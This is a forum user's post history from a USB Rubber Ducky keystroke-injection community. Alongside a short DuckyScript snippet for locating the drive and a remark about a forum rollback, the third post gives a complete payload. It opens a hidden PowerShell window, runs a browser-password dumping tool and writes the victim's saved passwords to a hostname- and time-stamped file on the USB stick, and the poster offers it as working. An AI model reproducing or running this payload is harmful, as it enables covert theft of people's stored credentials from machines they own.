Jump to content

Tamasco

Active Members
  • Posts

    9
  • Joined

  • Last visited

Posts posted by Tamasco

  1. 3 hours ago, Bingoe33 said:

    Do you or anyone else know how to change the USB Rubber Ducky's drive letter from cmd only. Would prefer it not to take long to execute.

    This is another way:

    STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'DUCKY' } | select name
    DELAY 100
    ENTER
    STRING cd $usbPath.name
    DELAY 100
    ENTER

  2. 41 minutes ago, Decoy said:

    This was actually already resolved - but it would appear there were some server issues and my last 6 posts are gone. The resolution was to not use the online ducktool encoder, as the keyboard layouts appear to be out of date. Using the java duck encoder while selecting the US keyboard resource did the trick. Thanks again to Tamasco for helping me out with this.

    True, my posts and user avatar are also gone. It looks like there has been a forum backup rollback.

  3. My Webbrowserpassview payload looks like this, and it works great. You can also add subfolders.

    DELAY 2000
    GUI R
    DELAY 100
    STRING powershell -windowstyle hidden
    DELAY 100
    ENTER
    DELAY 1000
    STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'DUCKY' } | select name
    DELAY 100
    ENTER
    STRING cd $usbPath.name
    DELAY 100
    ENTER
    STRING $timestamp = $(get-date -f MM-dd-yyyy_HH_mm_ss)
    DELAY 100
    ENTER
    STRING $hostname = hostname
    DELAY 100
    ENTER
    STRING $path = "p_"+$hostname+"_"+$timestamp+".txt"
    DELAY 100
    ENTER
    STRING ./p /stext $path
    DELAY 100
    ENTER
    STRING exit
    DELAY 100
    ENTER

×
×
  • Create New...